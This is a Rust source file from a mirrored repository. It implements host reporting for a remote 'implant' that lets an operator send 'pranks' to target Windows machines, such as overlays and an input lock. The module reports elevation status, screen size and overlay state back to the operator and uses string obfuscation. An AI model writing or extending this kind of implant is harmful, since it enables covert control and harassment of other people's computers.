mirror of
https://github.com/ConnorGadbois/altin.git
synced 2026-10-21 20:46:17 -05:00
66 lines
2.5 KiB
Rust
66 lines
2.5 KiB
Rust
//! Host reporting.
|
|
//!
|
|
//! `sysinfo` exists so an operator can tell whether a target is worth sending a
|
|
//! prank at before sending one. On Windows the answer is nearly always yes: the
|
|
//! only things that can get in the way are a session with no interactive
|
|
//! desktop (a locked screen, or a service account), which the overlay count and
|
|
//! the screen size below make obvious.
|
|
|
|
use crate::gui;
|
|
use crate::obf;
|
|
|
|
/// The operating system, as reported at registration and here.
|
|
pub fn os_name() -> &'static str {
|
|
std::env::consts::OS
|
|
}
|
|
|
|
/// Whether a window can be created at all.
|
|
///
|
|
/// False only when the process is running without an interactive window station,
|
|
/// which is the one situation where every overlay command is guaranteed to fail
|
|
/// and it is worth saying so before one is sent.
|
|
pub fn gui_available() -> bool {
|
|
gui::win::has_window_station()
|
|
}
|
|
|
|
/// The body of the `sysinfo` command result.
|
|
pub fn report() -> String {
|
|
let mut lines = vec![
|
|
format!("implant: {}", crate::config::IMPLANT_ID),
|
|
format!("os: {}", os_name()),
|
|
format!("gui overlays: {}", if gui_available() { "available" } else { "unavailable" }),
|
|
];
|
|
|
|
match gui::win::screen_size() {
|
|
Some((w, h)) => lines.push(format!("screen: {w}x{h}")),
|
|
None => lines.push(obf!("screen: could not be determined").to_string()),
|
|
}
|
|
|
|
// Windows can report whether it is elevated, which is the difference
|
|
// between `lockinput` working and being refused.
|
|
lines.push(format!("elevated: {}", gui::win::is_elevated()));
|
|
|
|
// The overlay host is started lazily by the first visual command, so this
|
|
// is the one place an operator learns that it cannot start at all - a target
|
|
// with no usable OpenGL implementation, say - before sending a prank to a
|
|
// host that cannot show it.
|
|
lines.push(gui::host_status());
|
|
lines.push(gui::describe_overlays());
|
|
|
|
// A continuous `lockinput` is invisible otherwise, and the operator is the
|
|
// only one who can end it - worth saying it is on the line that is read
|
|
// before doing anything else.
|
|
if let Some(status) = gui::input_lock_status() {
|
|
lines.push(status);
|
|
}
|
|
|
|
// Anything that panicked. On a target nobody is sitting at, stderr is nowhere
|
|
// to look, so without this the only symptom of a dead overlay backend is a
|
|
// command that quietly did nothing.
|
|
for entry in crate::log::recent_panics() {
|
|
lines.push(format!("panic: {entry}"));
|
|
}
|
|
|
|
lines.join("\n")
|
|
}
|